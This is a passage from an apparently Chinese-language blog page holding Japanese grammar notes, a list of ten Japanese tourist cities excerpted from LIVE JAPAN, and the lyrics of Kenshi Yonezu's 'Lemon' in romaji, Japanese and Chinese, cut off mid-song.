id="7-いかがですか">7.いかがですか</h4><p>是どうですか的委婉表示法，此外拒绝对方的建议或推荐时，直接使用いいえ会显得不是很礼貌。可采用其他方式。如：今は　結構です</p><h4 id="8-に”">8.&quot;に”</h4><ul><li>表示存在的场所。如：公園に</li><li>表示时间。如：5時に</li><li>表示动作的对象。如：友達に</li><li>表示移动行为的目的。如：本を買いに</li><li>表示附着点。如：車に</li></ul><p><em>这些用法不能用へ来替换，只有表示“来います”等典型的移动动词的目的地时，才可以通用。</em></p><h4 id="9-こえおと">9.こえおと</h4><p>前者为人和动物发出的声音，后者是物体发出的声音。</p><h4 id="10-なさい是なさる的命令形">10.なさい是なさる的命令形</h4><p>なさい是なさる的命令形，因为なさる是很特殊的五段动词，它的连用形和命令形都是なさい，其他还有いらっしゃる、ござる、おっしゃる和くださる。在古代的话，它们的命令形也有なされ这种形式，只是现在不太用了。有些语言学者把这类动词称作ラ変动词。なさる事实上是する的敬语，既然是表尊敬，就要用礼貌体，可以这样说:おやめなさいますか。请您住手，行吗？やめなさい则有轻微命令语气。</p><h2 id="日本十大旅游城市">日本十大旅游城市</h2><p>本文摘自：<a href="https://livejapan.com/zh-cn/">景点名胜、体验指南 - LIVE JAPAN</a></p><h3 id="札幌"><strong>札幌</strong></h3><p><strong>都道府县：</strong> 北海道<br><strong>特点：</strong> 雪与冬季、酷寒气候，新鲜海产，丰富的农作物与高品质乳制品<br><strong>精选<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>：</strong> <a href="https://livejapan.com/zh-cn/in-hokkaido/in-pref-hokkaido/in-sapporo_chitose/">札幌</a>雪季，<a href="https://livejapan.com/zh-cn/in-hokkaido/in-pref-hokkaido/in-sapporo_chitose/">札幌</a>啤酒<a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-other-museums/">博物馆</a>、白色恋人公园（饼干工厂）、<a href="https://livejapan.com/zh-cn/in-hokkaido/in-pref-hokkaido/in-sapporo_chitose/">札幌</a>工厂（<a href="https://livejapan.com/zh-cn/go-shopping/">购物</a>．娱乐综合设施）、海产市场<br><strong>代表料理：</strong> 海鲜丼饭、汤<a href="https://livejapan.com/zh-cn/go-eating/go-japanese-food/go-curry/">咖喱</a>、成吉思汗烤羊肉、味噌<a href="https://livejapan.com/zh-cn/go-eating/go-japanese-food/go-ramen/">拉面</a>、冰淇淋</p><p>位于日本最北的都道府县．北海道<a href="https://livejapan.com/zh-cn/in-hokkaido/in-pref-hokkaido/in-sapporo_chitose/">札幌</a>市，寒冷雪国印象深植人心，对于喜爱冬季活动的人来说，是个非常合适的地方。享誉国际的<a href="https://livejapan.com/zh-cn/in-hokkaido/in-pref-hokkaido/in-sapporo_chitose/">札幌</a>雪季会场，每年2月在此举办的大型冰雕与雪像展示，更是吸引了超过200万以上的游客来访。探访展示着1972年冬季奥运纪念品的<a href="https://livejapan.com/zh-cn/in-hokkaido/in-pref-hokkaido/in-sapporo_chitose/">札幌</a>奥林匹克<a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-other-museums/">博物馆</a>，或是前往滑雪胜地享受滑雪与雪板乐趣的人们蜂拥而至，冬季的<a href="https://livejapan.com/zh-cn/in-hokkaido/in-pref-hokkaido/in-sapporo_chitose/">札幌</a>总是充满人气，热闹滚滚。北海道天然物产丰富，盛产海鲜，到<a href="https://livejapan.com/zh-cn/in-hokkaido/in-pref-hokkaido/in-sapporo_chitose/">札幌</a>时别忘了品尝各种海底美味，保证让你回味无穷，毕生难忘。</p><h3 id="东京"><strong>东京</strong></h3><p><strong>都道府县：</strong><a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-tokyo/spot-list/area-al1301/">东京都</a><br><strong>特点：</strong> 来自大都会的刺激感受，最新技术或流行的热门景点<br>**精选<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>：**东京铁塔、晴空塔、<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-tokyo/in-shibuya/">涩谷</a>站前十字路口(スクランブル交差点)、<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-tokyo/in-asakusa/">浅草</a>寺、明治神宫、<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-tokyo/in-ryogoku_skytree-tokyo/spot-list/area-as1301005/">两国</a>国技馆（相扑比赛）、<a href="https://livejapan.com/zh-cn/go-visiting/go-contemporary-culture/go-anime/">动画</a>卡通、<a href="https://livejapan.com/zh-cn/go-visiting/go-contemporary-culture/go-manga/">漫画</a>、<a href="https://livejapan.com/zh-cn/go-visiting/go-contemporary-culture/go-games/">游戏</a>相关景点、”卡哇伊”景点<br><strong>代表料理：</strong> <a href="https://livejapan.com/zh-cn/go-eating/go-japanese-food/go-okonomiyaki_monja_takoyaki/">文字烧</a>、人形烧、金太郎饴</p><p>日本最知名都市．东京。<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-tokyo/spot-list/area-al1301/">东京都</a>由23区构成，估计人口超过3500万以上。号称世界第一忙碌的十字路口「<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-tokyo/in-shibuya/">涩谷</a>站前十字路口」，一次绿灯最多有3000人由各方同时穿越，一天的使用人数竟高达50万人！而<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-tokyo/in-shinjuku/">新宿</a>车站也毫不逊色，一天的搭车人数冲破340万人，可说是世界上最拥挤的车站了。此外，除了作为宅宅文化圣地的<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-tokyo/in-akihabara/">秋叶原</a>，各种<a href="https://livejapan.com/zh-cn/go-visiting/go-contemporary-culture/go-games/">游戏</a>．<a href="https://livejapan.com/zh-cn/go-visiting/go-contemporary-culture/go-anime/">动画</a>卡通．<a href="https://livejapan.com/zh-cn/go-visiting/go-contemporary-culture/go-manga/">漫画</a>专卖店林立，还有贩售各种大小型电器化用品，商品琳琅满目，亦是日本最大的电器街。东京不仅是流行尖端与「卡哇伊」发源地，更充满了浓厚的历史<a href="https://livejapan.com/zh-cn/go-visiting/go-traditional-culture/">传统文化</a>气息，每年在<a href="https://livejapan.com/zh-cn/go-visiting/go-architecture/go-shrines/">神社</a>或<a href="https://livejapan.com/zh-cn/go-visiting/go-architecture/go-temples/">寺院</a>所举办的祭典为数众多，是一个古今文化相容共存的经典指标都市。</p><h3 id="横滨"><strong>横滨</strong></h3><p><strong>都道府县：</strong> <a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/spot-list/area-al1401/">神奈川县</a><br><strong>特点：</strong> 港湾都市<br><strong>精选<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>：</strong><a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a>红砖仓库、<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a><a href="https://livejapan.com/zh-cn/go-visiting/go-architecture/go-landmarks/">地标</a>塔(Landmark Tower)、<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a>船舶大厦(Marine Tower)、<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a><a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-minatomirai21_chinatown/spot-list/area-as1401002/">中华街</a>、<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a>港、帆船日本丸<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a>港<a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-other-museums/">博物馆</a>、<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a><a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-art-museums/">美术馆</a>、Cosmoclock 21（摩天轮）、<a href="https://livejapan.com/zh-cn/go-eating/go-japanese-food/go-ramen/">拉面</a><a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-other-museums/">博物馆</a>、未来港21<br><strong>代表料理：</strong> 牛锅、生马面 (<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a><a href="https://livejapan.com/zh-cn/go-eating/go-japanese-food/go-ramen/">拉面</a>)、Napolitan拿坡里<a href="https://livejapan.com/zh-cn/go-eating/go-italian-and-french/go-pasta/">意大利面</a>、<a href="https://livejapan.com/zh-cn/go-eating/go-chinese-food/">中华料理</a></p><p><a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a>市位于东京南方，东京湾西岸，面临太平洋，是风光明媚的港湾都市，隶属于仅次于<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-tokyo/spot-list/area-al1301/">东京都</a>，日本人口第二多的<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/spot-list/area-al1401/">神奈川县</a>。 1859年日本首次正式开港的港口，作为<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a>重要代表建筑的红砖仓库，或是19世纪由中国移民聚集而形成的<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a><a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-minatomirai21_chinatown/spot-list/area-as1401002/">中华街</a>等等，可说是深受来自国际社会影响，造就了今日的<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a>。到<a href="https://livejapan.com/zh-cn/in-tokyo/in-pref-kanagawa/in-yokohama/spot-list/area-as1401001/">横滨</a>可以搭乘水上巴士、大型摩天轮眺望港湾宽阔<a href="https://livejapan.com/zh-cn/go-visiting/go-nature/">风景</a>，或是<a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-art-museums/">美术馆</a>．<a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-other-museums/">博物馆</a>巡礼，此外还能享受血拼<a href="https://livejapan.com/zh-cn/go-shopping/">购物</a>乐趣。</p><h3 id="名古屋"><strong>名古屋</strong></h3><p><strong>都道府县：</strong> 爱知县<br><strong>特点：</strong> 交通．技术<br><strong>精选<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>：</strong> 名古屋城、JR中央双塔JR Central Towers、丰田<a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-other-museums/">博物馆</a>、丰田产业技术纪念馆、磁浮列车铁道馆、朝日啤酒工厂、名古屋市科学馆、大须观音、世界<a href="https://livejapan.com/zh-cn/go-visiting/go-contemporary-culture/go-cosplay-shops/">Cosplay</a>高峰会<br>**代表料理：**味噌猪排、炸鸡翅、碁子面、炸虾饭团</p><p>名古屋为日本汽车・航空业中心，以及拥有发展机器人产业且成果卓越的技术都市。探访市内的科学馆，如磁浮列车铁道馆、丰田<a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-other-museums/">博物馆</a>、丰田产业技术纪念馆，便能清楚窥探出名古屋的另外一面。近年来，名古屋也以举办世界<a href="https://livejapan.com/zh-cn/go-visiting/go-contemporary-culture/go-cosplay-shops/">Cosplay</a>高峰会而声名大噪，集合20个国家的玩家们盛装出席，互相竞争观摩，以大规模游行来迎接<a href="https://livejapan.com/zh-cn/go-visiting/go-contemporary-culture/go-cosplay-shops/">Cosplay</a>界一年一度的盛事。</p><h3 id="京都"><strong>京都</strong></h3><p><strong>都道府县：</strong> <a href="https://livejapan.com/zh-cn/in-kansai/in-pref-kyoto/spot-list/area-al2601/">京都府</a><br><strong>特点：</strong> <a href="https://livejapan.com/zh-cn/go-visiting/go-traditional-culture/">传统文化</a><br><strong>精选<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>：</strong> <a href="https://livejapan.com/zh-cn/in-kansai/in-pref-kyoto/in-fushimi_uji/spot-list/area-as2601006/">伏见</a>稻荷大社、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-kyoto/in-gion_kawaramachi_kiyomizu-dera-temple/">清水寺</a>、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-kyoto/in-kinkakuji-temple_kitayama/spot-list/area-as2601005/">金阁寺</a>、龙安寺、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-kyoto/in-gion_kawaramachi_kiyomizu-dera-temple/">祇园</a>、京都国立<a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-other-museums/">博物馆</a><br><strong>代表料理：</strong> 怀石料理、<a href="https://livejapan.com/zh-cn/go-eating/go-japanese-food/go-tofu/">豆腐皮</a>、精进料理、八桥</p><p>拥有千年以上历史，曾为日本首都的京都，是体验日本<a href="https://livejapan.com/zh-cn/go-visiting/go-traditional-culture/">传统文化</a>的最佳场所。举凡<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-kyoto/in-kinkakuji-temple_kitayama/spot-list/area-as2601005/">金阁寺</a>、以石庭闻名的龙安寺、矗立着5000座以上红色鸟居的<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-kyoto/in-fushimi_uji/spot-list/area-as2601006/">伏见</a>稻荷大社等等，市内保留了约2000座寺庙与<a href="https://livejapan.com/zh-cn/go-visiting/go-architecture/go-shrines/">神社</a>。而京都最引人注目的<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>景点之一，首推<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-kyoto/in-gion_kawaramachi_kiyomizu-dera-temple/">祇园</a>的「艺者地区」，平常虽然很难见到艺妓与舞妓们，但在这里运气好一点的话，说不定可以巧遇走在路上的和服美人！喜爱美术或历史的人，绝不能错过收藏了230件以上国宝与重要文化文物的京都国立<a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-other-museums/">博物馆</a>。</p><h3 id="奈良"><strong>奈良</strong></h3><p><strong>都道府县：</strong> <a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/spot-list/area-al2901/">奈良县</a><br><strong>特点：</strong> <a href="https://livejapan.com/zh-cn/go-visiting/go-nature/">自然</a>与文化融合<br><strong>精选<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>：</strong> <a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/in-nara_ikoma_tenri/">奈良</a>古都遗迹、东大寺、大佛、春日大社、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/in-nara_ikoma_tenri/">奈良</a>公园、吉野赏花景点、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/in-nara_ikoma_tenri/">奈良</a>国立<a href="https://livejapan.com/zh-cn/go-visiting/go-museums/go-other-museums/">博物馆</a><br><strong>代表料理：</strong> <a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/in-nara_ikoma_tenri/">奈良</a>腌渍物、柿子料理、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/in-nara_ikoma_tenri/">奈良</a>茶饭、艾草麻糬</p><p>身为日本建国后第一个首都的<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/in-nara_ikoma_tenri/">奈良</a>，不仅仅为<a href="https://livejapan.com/zh-cn/go-visiting/go-traditional-culture/">传统文化</a>的宝库，同时也能够享受<a href="https://livejapan.com/zh-cn/go-visiting/go-nature/">自然</a>美景的城市。被认定为UNESCO世界<a href="https://livejapan.com/zh-cn/go-visiting/go-world-heritage-sites/go-cultural-heritage-sites/">文化遗产</a>「古都<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/in-nara_ikoma_tenri/">奈良</a>文化财」的<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/in-nara_ikoma_tenri/">奈良</a>，平安宫迹、春日山原始林等，存在着众多与历史相关的<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>景点，其中又以<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/in-nara_ikoma_tenri/">奈良</a>公园里的几百头鹿群们，特别受到国内外<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>客的欢迎。自古相传鹿为神的使者，坚守神道的古老信仰，若是前往了<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-nara/in-nara_ikoma_tenri/">奈良</a>公园，喂喂「鹿仙贝」，一定可以为旅程添上美好的回忆，幸运的话，也许还能够见到小鹿点头，表达对人们感谢的敬礼喔。</p><h3 id="大阪"><strong>大阪</strong></h3><p><strong>都道府县：</strong> <a href="https://livejapan.com/zh-cn/in-kansai/in-pref-osaka/spot-list/area-al2701/">大阪府</a><br><strong>特点：</strong> 充满活力与魅力的城市<br><strong>精选<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>：</strong> 道顿崛、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-osaka/in-osaka-castle_tenmabashi_kyobashi/spot-list/area-as2701003/">大阪城</a>、大阪海游馆、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-osaka/in-usj_nanko-port/">USJ</a>大阪环球影城、空中庭园展望台、住吉大社<br><strong>代表料理：</strong> 章鱼烧、大阪烧、烧肉、豆皮<a href="https://livejapan.com/zh-cn/go-eating/go-japanese-food/go-udon_soba/">乌冬</a>面、太鼓馒头</p><p>关西地区最大的城市，也是日本第二大都市・大阪，元气满满的街道氛围与亲切有趣的人们。堪称世界最大等级的<a href="https://livejapan.com/zh-cn/go-visiting/go-nature/go-zoos_aquariums/">水族馆</a>・大阪海游馆或<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-osaka/in-usj_nanko-port/">USJ</a>大阪环球影城，被闪烁霓虹灯点亮的街道、来份必吃的章鱼烧或大阪烧、逛逛大阪最热闹的道顿崛等等，大阪魅力无限！此外，在大阪也能接收到<a href="https://livejapan.com/zh-cn/go-visiting/go-traditional-culture/">传统文化</a>洗礼，如<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-osaka/in-osaka-castle_tenmabashi_kyobashi/spot-list/area-as2701003/">大阪城</a>与住吉大社、人形净琉璃等，都是日本非常知名的历史文化资产。</p><h3 id="神户"><strong>神户</strong></h3><p><strong>都道府县：</strong> <a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/spot-list/area-al2801/">兵库县</a><br><strong>特点：</strong> 走累了到海边品尝<a href="https://livejapan.com/zh-cn/go-eating/go-japanese-food/go-teppanyaki/">牛排</a><br><strong>精选<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>：</strong><a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-kobe_sannomiya_kitano/">神户</a>港乐园、美利坚公园、滩酒藏、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-arima-onsen_mt-rokko/spot-list/area-as2801002/">有马温泉</a>、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-arima-onsen_mt-rokko/spot-list/area-as2801002/">六甲山</a>、阪神．淡路大震灾纪念馆<br><strong>代表料理：</strong> <a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-kobe_sannomiya_kitano/">神户</a>牛、<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-himeji_akashi/spot-list/area-as2801005/">明石</a>烧、章鱼饭、酒</p><p><a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-kobe_sannomiya_kitano/">神户</a>位于大阪的西边，是一座港口城市。日本锁国时代结束后，与国外进行贸易而最早开发的地点之一，「Kobe」一词成为<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-kobe_sannomiya_kitano/">神户</a>生产的高品质牛肉代名词，不但扬名国际，听说前NBA明星柯比·比恩·布莱恩(Kobe Bean Bryant) 名字即来自<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-kobe_sannomiya_kitano/">神户</a>牛。<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-kobe_sannomiya_kitano/">神户</a>邻接著名登山名胜<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-arima-onsen_mt-rokko/spot-list/area-as2801002/">六甲山</a>，与日本最古老<a href="https://livejapan.com/zh-cn/go-visiting/go-activities/go-hot-springs_bath-houses/">温泉</a><a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-arima-onsen_mt-rokko/spot-list/area-as2801002/">有马温泉</a>，此外，市内的滩区为日本屈指可数的造酒地区。 1995年阪神．淡路大地震受灾区之一的<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-kobe_sannomiya_kitano/">神户</a>，市区街道成功重建被视为重要指标，到<a href="https://livejapan.com/zh-cn/in-kansai/in-pref-hyogo/in-kobe_sannomiya_kitano/">神户</a>旅游时，别忘了前往阪神．淡路大震灾纪念馆，感受并回顾一下当时的情况吧。</p><h3 id="广岛"><strong>广岛</strong></h3><p><strong>都道府县：</strong> 广岛县<br><strong>特点：</strong> 历史、和平省思<br><strong>精选<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>：</strong> 广岛平和纪念公园、广岛城、缩景园、世纪平和纪念公园、广岛护国<a href="https://livejapan.com/zh-cn/go-visiting/go-architecture/go-shrines/">神社</a>、广岛佛舍利塔<br><strong>代表料理：</strong> 牡蛎、广岛烧、广岛沾面、枫叶馒头</p><p>1945年被投下世界第一颗原子弹的地方．广岛。在那不久之后，又遭枕崎台风袭击，造成莫大的灾情。将被破坏的街道与<a href="https://livejapan.com/zh-cn/go-visiting/go-architecture/">建筑物</a>经过重建．新建，于1949在日本国会宣告为「平和记念都市」，跨越重重困难，才成就了现在的广岛。广岛平和纪念公园作为复兴都市的象征，另外在市内还设置许多响应和平与协调的设施。除此之外，走访严岛<a href="https://livejapan.com/zh-cn/go-visiting/go-architecture/go-shrines/">神社</a>看漂浮海上壮观的大鸟居、广岛城、缩景园等等，众多一生必去一次的景点。</p><h3 id="冲绳"><strong>冲绳</strong></h3><p><strong>都道府县：</strong> 冲绳县<br><strong>特点：</strong> 海边放空、水上活动<br>**精选<a href="https://livejapan.com/zh-cn/go-visiting/">观光</a>：**冲绳美丽海<a href="https://livejapan.com/zh-cn/go-visiting/go-nature/go-zoos_aquariums/">水族馆</a>、斋场御岳、国营冲绳纪念公园、首里城、冲绳和平祈念堂、玉取崎展望台、各地海岸<br><strong>代表料理：</strong> 苦瓜炒<a href="https://livejapan.com/zh-cn/go-eating/go-japanese-food/go-tofu/">豆腐</a>、海葡萄、冲绳面、香檬</p><p>日本最南端，由160座岛所组成的冲绳，属亚热带气候，生长栖息了许多珍贵的动植物。白色沙滩、透明清澈的海水、色彩缤纷的鱼群，即使在日本也能够享受浮浅、潜水的乐趣。古名琉球，各岛所存在的独特文化至今仍完好留存，来一趟冲绳可见到完全不同风貌的日本与<a href="https://livejapan.com/zh-cn/go-visiting/go-traditional-culture/">传统文化</a>。</p><h3 id="附上两张地图">附上两张地图~~~</h3><p><img src="https://i.loli.net/2021/08/26/TVxAhZBEnRrGoPc.jpg" alt=""></p><p><img src="https://i.loli.net/2021/08/26/lZTNH6o5EtXMPL2.png" alt=""></p><h2 id="Lemon-米津玄師-よねづ-けんし">Lemon - 米津玄師 (よねづ けんし)</h2><div style="position: relative; width: 100%; height:0; padding-bottom: 10%;"><iframe src="//music.163.com/outchain/player?type=2&id=536622304&auto=1&height=66" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" style="position: absolute; width: 100%; height: 100%; left: 0; top: 0;"> </iframe></div><br><div id="read-article-holder" class="normal-article-holder read-article-holder"></figure><p><strong><span class="color-pink-03">yu me na ra ba do re ho do yo ka tta de sho u</span></strong></p><p>梦（ゆめ）ならば&nbsp; &nbsp; &nbsp;どれほど&nbsp; よかったでしょう</p><p>如果这一切都是梦境该有多好</p><p>&nbsp;</p><p><strong><span class="color-pink-03">&nbsp;i ma da ni a na ta no ko to wo yu me ni mi ru</span></strong></p><p>未（いま）だ&nbsp; &nbsp; &nbsp;にあなた&nbsp; &nbsp; のことを&nbsp; &nbsp; &nbsp;梦（ゆめ）にみる</p><p>至今仍能与你在梦中相遇</p><p><br></p><p><span class="color-pink-03"><strong>wa su re ta mo no wo to ri ni ka e ru yo u ni</strong></span></p><p>忘（わす）れた物（もの）を取（と）りに&nbsp; &nbsp;帰（かえ）る&nbsp; ように</p><p>如同取回遗忘之物一般</p><p><br></p><p><span class="color-pink-03"><strong>fu ru bi ta o mo i de no ho ko ri wo ha ra u</strong></span></p><p>古（ふる）びた思（おも）い出（で）の埃（ほこり）&nbsp; を払（はら）う</p><p>细细拂去将回忆覆盖的尘埃</p><p><br></p><p><span class="color-pink-03"><strong>mo do ra na i shi a wa se ga a ru ko to wo</strong></span></p><p>戻（もど）らない&nbsp; &nbsp; &nbsp;幸（しあわ）せ&nbsp; &nbsp; があることを</p><p>这世间亦有无法挽回的幸福</p><p><br></p><p><span class="color-pink-03"><strong>sa i go ni a na ta ga o shi e te ku re ta</strong></span></p><p>最後（さいご）&nbsp; &nbsp;にあなた&nbsp; &nbsp; が教（おし）え&nbsp; &nbsp; てくれた</p><p>最终是你让我懂得这一点</p><p><br></p><p><span class="color-pink-03"><strong>i e zu ni ka ku shi te ta ku ra i ka ko mo</strong></span></p><p>言（い）えずに隠（かく）してた&nbsp; &nbsp; &nbsp;昏（くら）い過去（かこ）も</p><p>那些未对他人提及过的黑暗往事</p><p><br></p><p><span class="color-pink-03"><strong>a na ta ga i na kya e i e n ni ku ra i ma ma&nbsp;</strong></span></p><p>あなた&nbsp; &nbsp;がいなきゃ 永远（えいえん）に&nbsp; &nbsp; &nbsp; 昏（くら）いまま</p><p>如果不曾有你的话 它们将永远沉睡在黑暗中</p><p><br></p><p><span class="color-pink-03"><strong>ki tto mo u ko re i jo u ki zu tsu ku ko to na do</strong></span></p><p>きっともうこれ以上（いじょう）&nbsp; &nbsp; &nbsp;傷（きず）つくことなど</p><p>比这更令人难过的事情</p><p><br></p><p><span class="color-pink-03"><strong>a ri wa shi na i to wa ka tte i ru</strong></span></p><p>ありはしないとわかっている</p><p>我知道不可能存在</p><p><br></p><p><span class="color-pink-03"><strong>a no hi no ka na shi mi sa e</strong></span></p><p>あの日（ひ）の悲（かな）しみさえ</p><p>那日的悲伤</p><p><br></p><p><span class="color-pink-03"><strong>a no hi no ku ru shi mi sa e</strong></span></p><p>あの日（ひ）の苦（くる）しみさえ</p><p>与那日的痛苦</p><p><br></p><p><span class="color-pink-03"><strong>so no su be te wo a i shi te ta a na ta to to mo ni</strong></span></p><p>そのすべてを&nbsp; &nbsp;爱（あい）してたあなたとともに</p><p>连同深爱着这一切的你</p><p><br></p><p><span class="color-pink-03"><strong>mu ne ni no ko ri ha na re na i</strong></span></p><p>胸（むね）に残（のこ）り離（はな）れない</p><p>化作了深深烙印在我心中的</p><p><br></p><p><span class="color-pink-03"><strong>&nbsp;ni ga i re mo n no ni o i</strong></span></p><p>苦（にが）いレモン&nbsp; &nbsp;の匂（にお）い</p><p>苦涩柠檬的香气</p><p><br></p><p><span class="color-pink-03"><strong>a me ga fu ri ya mu ma de wa ka e re na i</strong></span></p><p>雨（あめ）が降（ふ）り止（や）むまでは&nbsp; &nbsp; &nbsp; 帰（かえ）れない</p><p>在雨过天晴前都无法归去</p><p><br></p><p><br></p><p><span class="color-pink-03"><strong>&nbsp;i ma de mo a na ta wa wa ta shi no hi ka ri</strong></span></p><p>今（いま）でもあなたはわたしの光（ひかり）</p><p>时至今日 你仍是我的光芒</p><p><br></p><p><span class="color-pink-03"><strong>ku ra ya mi de a na ta no se wo na zo tta</strong></span></p><p>暗闇（くらやみ）で&nbsp; &nbsp;あなたの背（せ）をなぞった</p><p>在黑暗中追寻着你的身影</p><p><br></p><p><span class="color-pink-03"><strong>so no ri n ka ku wo se n me i ni o bo e te i ru</strong></span></p><p>その輪郭（りんかく）を鮮明（せんめい）に　覚（おぼ）えている</p><p>那轮廓至今仍鲜明地刻印于心</p><p><br></p><p><span class="color-pink-03"><strong>u ke to me ki re na i mo no to de a u ta bi</strong></span></p><p>受（う）け止（と）めきれないもの　　と出会（であ）うたび</p><p>每当遇到无法承受的苦痛时</p><p><br></p><p><span class="color-pink-03"><strong>a fu re te ya ma na i no wa na mi da da ke</strong></span></p><p>溢（あふ）れてやまないのは　　涙（なみだ）だけ</p><p>总不禁泪如泉涌</p><p><br></p><p><span class="color-pink-03"><strong>na ni wo shi te i ta no</strong></span></p><p>何（なに）をしていたの</p><p>你都经历过什么</p><p><br></p><p><span class="color-pink-03"><strong>na ni wo mi te i ta no</strong></span></p><p>何（なに）を見（み）ていたの</p><p>又目睹过什么呢</p><p><br></p><p><span class="color-pink-03"><strong>wa ta shi no shi ra na i yo ko ga o de</strong></span></p><p>わたしの知（し）らない横顔（よこがお）で</p><p>脸上浮现着我不曾见过的神情</p><p><br></p><p><span class="color-pink-03"><strong>do ko ka de a na ta ga i ma</strong></span></p><p>どこかであなたが今（いま）</p><p>如果你正在什么地方</p><p><br></p><p><span class="color-pink-03"><strong>wa ta shi to o na ji yo u na</strong></span></p><p>わたしと同（おな）じ様（よう）な</p><p>与我一样</p><p><br></p><p><span class="color-pink-03"><strong>na mi da ni ku re sa bi shi sa no na ka ni i ru na ra</strong></span></p><p>涙（なみだ）にくれ&nbsp; &nbsp;淋（さび）しさの&nbsp; &nbsp;中（なか）にいるなら</p><p>终日过着以泪洗面的寂寞生活的话</p><p><br></p><p><span class="color-pink-03"><strong>wa ta shi no ko to na do do u ka wa su re te ku da sa i</strong></span></p><p>わたしのことなどどう　か 　忘（わす）れてください</p><p>就请你将我的一切全部遗忘吧</p><p><br></p><p><span class="color-pink-03"><strong>so n na ko to wo ko ko ro ka ra ne ga u ho do 